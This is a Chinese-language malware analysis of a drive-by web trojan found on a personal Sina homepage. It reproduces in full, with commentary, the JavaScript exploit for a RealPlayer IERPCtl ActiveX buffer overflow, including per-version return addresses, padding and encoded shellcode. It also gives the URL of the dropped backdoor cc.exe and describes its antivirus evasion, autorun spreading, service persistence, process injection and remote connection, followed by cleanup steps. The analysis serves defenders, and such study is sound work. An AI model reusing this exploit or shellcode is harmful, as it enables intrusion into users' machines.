目标: 网马
版本: -
来源: hxxp://weiwei520.vip.sina.com
工具: Redoce 2.034
语言: JavaScript
SAC#09005
www.sacour.cn 转载保留此行

其实只是一般的小网马，开始看他sina.com还以为sina.com给挂上，没想他其实就是一个个人主页……看看主页代码吧

（防止杀软误报或误执行，以下代码均转为全角字符）

<ｓＣｒＩｐＴ ｌＡｎＧｕＡｇＥ="ｊＡｖＡｓＣｒＩｐＴ">
得，大小写还错落有致

ｆｕｎｃｔｉｏｎ ＲｅａｌＥｘｐｌｏｉｔ()  //函数
{
ｖａｒ ｕｓｅｒ = ｎａｖｉｇａｔｏｒ.ｕｓｅｒＡｇｅｎｔ.ｔｏＬｏｗｅｒＣａｓｅ();  //把UserAgent转为小写
ｉｆ(ｕｓｅｒ.ｉｎｄｅｘＯｆ("ｍｓｉｅ ６")==-１&&ｕｓｅｒ.ｉｎｄｅｘＯｆ("ｍｓｉｅ ７")==-１)
//如果UA没有msie 6或者msie 7就byebye
ｒｅｔｕｒｎ;
ｉｆ(ｕｓｅｒ.ｉｎｄｅｘＯｆ("ｎｔ ５.")==-１)
//当然如果没有nt 5.也bye了
ｒｅｔｕｒｎ;
ＶｕｌＯｂｊｅｃｔ = "ＩＥＲ" + "ＰＣｔｌ.Ｉ" + "ＥＲＰ" + "Ｃｔｌ.１";
//还真直白，直接告诉你带Vulnerability的对象是IERPCTL. IERPCTL. 1
ｔｒｙ
{
Ｒｅａｌ = ｎｅｗ ＡｃｔｉｖｅＸＯｂｊｅｃｔ(ＶｕｌＯｂｊｅｃｔ);
//那就试试建立一个新的对象吧
}ｃａｔｃｈ(ｅｒｒｏｒ)
{
ｒｅｔｕｒｎ;
//建立对象还出错那肯定是退出的了
}

ＲｅａｌＶｅｒｓｉｏｎ = Ｒｅａｌ.ＰｌａｙｅｒＰｒｏｐｅｒｔｙ("ＰＲＯＤＵＣＴＶＥＲＳＩＯＮ");
//先请求一下Real的版本
Ｐａｄｄｉｎｇ = "";
//新建一个变量
ＪｍｐＯｖｅｒ = ｕｎｅｓｃａｐｅ("%７５%０６%７４%０４");
//又是一个变量
ｆｏｒ(ｉ=０;ｉ<３２*１４８;ｉ++)
Ｐａｄｄｉｎｇ += "Ｓ";
//两个花括号都舍不得打，连上32*148个S（大概是要长到盖掉eip指针为止，是的话应该是在0x53535353("SSSS")处执行了……）

ｉｆ(ＲｅａｌＶｅｒｓｉｏｎ.ｉｎｄｅｘＯｆ("６.０.１４.") == -１)
//如果版本号不是6.0.14.x
{
ｉｆ(ｎａｖｉｇａｔｏｒ.ｕｓｅｒＬａｎｇｕａｇｅ.ｔｏＬｏｗｅｒＣａｓｅ() == "ｚｈ-ｃｎ")
ｒｅｔ = ｕｎｅｓｃａｐｅ("%７ｆ%ａ５%６０");
ｅｌｓｅ ｉｆ(ｎａｖｉｇａｔｏｒ.ｕｓｅｒＬａｎｇｕａｇｅ.ｔｏＬｏｗｅｒＣａｓｅ() == "ｅｎ-ｕｓ")
ｒｅｔ = ｕｎｅｓｃａｐｅ("%４ｆ%７１%ａ４%６０");
//获取用户界面语言信息，赋予相应的值
ｅｌｓｅ
ｒｅｔｕｒｎ;
//不是中文或英文也退出
}
ｅｌｓｅ ｉｆ(ＲｅａｌＶｅｒｓｉｏｎ == "６.０.１４.５４４")
ｒｅｔ = ｕｎｅｓｃａｐｅ("%６３%１１%０８%６０");
ｅｌｓｅ ｉｆ(ＲｅａｌＶｅｒｓｉｏｎ == "６.０.１４.５５０")
ｒｅｔ = ｕｎｅｓｃａｐｅ("%６３%１１%０４%６０");
ｅｌｓｅ ｉｆ(ＲｅａｌＶｅｒｓｉｏｎ == "６.０.１４.５５２")
ｒｅｔ = ｕｎｅｓｃａｐｅ("%７９%３１%０１%６０");
ｅｌｓｅ ｉｆ(ＲｅａｌＶｅｒｓｉｏｎ == "６.０.１４.５４３")
ｒｅｔ = ｕｎｅｓｃａｐｅ("%７９%３１%０９%６０");
ｅｌｓｅ ｉｆ(ＲｅａｌＶｅｒｓｉｏｎ == "６.０.１４.５３６")
ｒｅｔ = ｕｎｅｓｃａｐｅ("%５１%１１%７０%６３");
//如果是指定版本，就连上相应的值
ｅｌｓｅ
ｒｅｔｕｒｎ;
//都不是就只能退出了

ｉｆ(ＲｅａｌＶｅｒｓｉｏｎ.ｉｎｄｅｘＯｆ("６.０.１０.") != -１)
//如果是6.0.10.x的话
{
ｆｏｒ(ｉ=０;ｉ<４;ｉ++)
Ｐａｄｄｉｎｇ = Ｐａｄｄｉｎｇ + ＪｍｐＯｖｅｒ;
//Padding连上四次75067404
Ｐａｄｄｉｎｇ = Ｐａｄｄｉｎｇ + ｒｅｔ;
//再连个返回值
}
ｅｌｓｅ ｉｆ(ＲｅａｌＶｅｒｓｉｏｎ.ｉｎｄｅｘＯｆ("６.０.１１.") != -１)
{
ｆｏｒ(ｉ=０;ｉ<６;ｉ++)
Ｐａｄｄｉｎｇ = Ｐａｄｄｉｎｇ + ＪｍｐＯｖｅｒ;
Ｐａｄｄｉｎｇ = Ｐａｄｄｉｎｇ + ｒｅｔ;
}
ｅｌｓｅ ｉｆ(ＲｅａｌＶｅｒｓｉｏｎ.ｉｎｄｅｘＯｆ("６.０.１２.") != -１)
{
ｆｏｒ(ｉ=０;ｉ<９;ｉ++)
Ｐａｄｄｉｎｇ = Ｐａｄｄｉｎｇ + ＪｍｐＯｖｅｒ;
Ｐａｄｄｉｎｇ = Ｐａｄｄｉｎｇ + ｒｅｔ;
}
ｅｌｓｅ ｉｆ(ＲｅａｌＶｅｒｓｉｏｎ.ｉｎｄｅｘＯｆ("６.０.１４.") != -１)
{
ｆｏｒ(ｉ=０;ｉ<１０;ｉ++)
Ｐａｄｄｉｎｇ = Ｐａｄｄｉｎｇ + ＪｍｐＯｖｅｒ;
Ｐａｄｄｉｎｇ = Ｐａｄｄｉｎｇ + ｒｅｔ;
}

ＡｄｊＥＳＰ = "ＬＬＬＬ\\ＸＸＸＸＸＬＤ";
Ｓｈｅｌｌ ="ＴＹＩＩＩＩＩＩＩＩＩＩＩＩＩＩＩＩ７ＱＺｊＡＸＰ０Ａ０ＡｋＡＡＱ２ＡＢ２ＢＢ０ＢＢＡＢＸＰ８ＡＢｕＪＩｘｋＲ０ｑＪＰＪＰ３ＹＹ０ｆＮＹｗＬＥＱｋ０ｐ４７ｚｐｆＫＲＫＪＪＫＶｅ９ｘＪＫＹｏＩｏＹｏｌＯｏＣＱｖ３ＶｓＶｗＬｕＲＫｗＲｖａｖｂＦＱｖＪＭＷＶｓＺｚＭＦｖ０ｚ８Ｋ８ｍｗＶＰｎｘｍｍｎ８ｍＤＵＢｚＪＭＥＢｓＨｕＮ３ＵＬＵｈｍｆｘＷ６ｐｅＭＭＺＭ７ＸＰｒｆ５ＮｋＤｐＰ１０７ｚＭｐＹＥ５ＭＭｚＭｊ４４ＬｑｘＧＯＮｕＫｐＴＲｒＮＷＯＶＹＭ５ｍｑｑｒｗＳＭＴｎｏｅｏｔｙ０８ＪＭｎＫＪＭｇＰｗ２ｐｅｙ５ＭｇＭＷＱｕＭｗｒｕｎＯｇｐ８ｍｐｎ８ｍ７ＰｒＺＢＥｌｅｏＷｎｇ２ＤＲＥＬｇＺＭＵ６ＲＥｏＵＪＭｍＬＨｍｚ１ＫＵＯＰＣＸＨｍＬｖｆｌｓＲＷＯＬＮｖＶｒＦＰｆｃＶｙｕｍｐＲＫｐ４ｄｐＪ９ＶＱＭＪＵｌｘｍｍｎＴＬ２ＧＷＯＬＮＱＫｅ６ｐｆＱｖＸｅＭｐＰｕＶＰｗＰ９ｖ０ＸｚＦｒ３Ｏｌ９ｖＲｐｚＦＤｘｍ５ＮｊｑＶｘｍＬｚｄＬＳｖＴｕｍＩ５ａｌＪＭｑｑｒａｕＷＪＵＷｒｈＳ３ＯＱＷＲＵ５ＱｒＥＮＶｃＥ６１ｖＰＵＯＶｔｖＴｖ４ｕＰ０ＤｖＬＹｆＱＯｊＺＭｏＪＰ６ｅｅＭＩｖＱｍＦ５ｆＬＹＰ１ｎｒＱＥｍｖｙＺｋＳｎＦｔＳｏｏＦＷＴｔＴｐｐ５ｏｉｎＴＷＬｇＯｚｍＭＴｋ８ＰＵｏＶＮＥＮｎＷ０Ｊ９ｍＩｎｙＷＱＳ３ＴＲＧＦＶｔ６ｉＥＵＴｇｔＢｗｒｔＴｓ３ｒ５ｒ５ＰｆＥｑＴＣｕＢｇＥＧｏＤＵｔＲ４ＣｆｋｖＢ４ＯＥＤｃ３ＵＵＧｂＶｉｂ４Ｗｏ５ｗｅ６ＶＱＶｏｕＸｄｃＥＮｅＳｔＥｐｆＴｃ７ｎＶｏＵＢｄｒｆｎｖｔｓ３ｃ７７ｒ３ＶｗＺｗｙＧｗ７ｒｄｊ４ＯＳ４ＤＴｗｗ６ｔｕＯＵｗ２Ｆ４ＳｔＴＵＺｖｋＦｉｗｘＱｖｔｓｕｄ７Ｚ６ＢｖｉＲ１ｇｘＵＺ４ＩＶｇＴＢｆＲＷｙｇＰｆｏｕＺｔＣｗＷｑｖＲＨｐｔｄ４ＲＰＦＺＶＯｄｏＲＷＰｅｓＹＲＷＱｕ３Ｙ７ＥＷＢ６ＰＴｎｐｖｓＹｐｐ４ｎｒＳｑｙ０ｎＱｑＦＮＰｃＲＯＲＭｔｏ１ｓａｓｖＮＰｅＤ８ＱｕＯｐ３０";
ＰａｙＬｏａｄ = Ｐａｄｄｉｎｇ + ＡｄｊＥＳＰ + Ｓｈｅｌｌ; //组装Shellcode
ｗｈｉｌｅ(ＰａｙＬｏａｄ.ｌｅｎｇｔｈ < ０ｘ８０００)
ＰａｙＬｏａｄ += "ＣｈｕｉＺｉ"; //补长度到0x8000以上
Ｒｅａｌ.Ｉｍｐｏｒｔ("ｃ:\\Ｐｒｏｇｒａｍ Ｆｉｌｅｓ\\ＮｅｔＭｅｅｔｉｎｇ\\ＴｅｓｔＳｎｄ.ｗａｖ", ＰａｙＬｏａｄ,"", ０, ０); //加载漏洞
}
ＲｅａｌＥｘｐｌｏｉｔ();

最后呢，要下载的其实也就是hxxp://weiwei520.vip.sina.com/cc.exe（上面的有骗篇幅嫌疑了 囧）

那我们再继续吧……下面的算附赠数据了……

文件: cc.exe
语言: Borland Delphi 7.0
类型: TR/Backdoor;
MD5 : 3195773F55256CCD8046040976FD6AD2
加壳: Packed/UPX
大小: 303,104 字节
时间: 2009-8-21 19:37:03

GetSystemDirectoryA，成功后获取第一个字符，不成功则移入43('C')到eax，并IsCharAlphaA检查是不是有效字符。然后FindFirstFileA查找"C:\WINDOWS\system32\drivers/klif.sys"，这个是卡巴斯基的驱动文件。如果找到则进行【操作A】。找不到就继续，再次使用FindFirstFileA查找 "C:\Program Files\rejoice101.exe"，找到的话就【操作A】，找不到就继续。然后程序用CopyFileA复制自己C:\Program Files\rejoice101.exe,设置文件属性为Hidden|System（隐藏、系统），然后遍历磁盘，并GetDriveTypeA，如果不是3（sub eax,3 ; jnz ..）（3:本地磁盘）就继续，否则写入autorun.inf，当然，写入前他还会检查是否存在，存在执行【操作A】。同时复制自己到x:\rejoice101.exe，使得可以通过自动播放来执行自己。

 随后，打开一个服务"Windows_rejoice2007_101"，使用DeleteService，防止已经添加，Sleep 1000ms，之后CreateService建立这个服务，指向自己。最后WinExec打开自己，方式为SHOWNORMAL，反正他也没窗体就是……启动后的程序试图启动calc.exe并注入它。失败后则试图注入iexplore.exe，成功则连接远程主机，使得本机成为肉鸡。

【操作A】：获取其修改时间，设置文件属性(SetFileAttributesA)为普通存档（0），并试图使用DeleteFileA删除文件，再次使用FindFirstFileA查找之前发现的文件，成功的话，返回后的je会成功执行，否则还会进入这个操作。

清理：
1, 结束进程calc.exe,iexplore.exe,rejoice101.exe
2, 删除文中提到的文件、服务项
3, 重启
4, 删除对应文件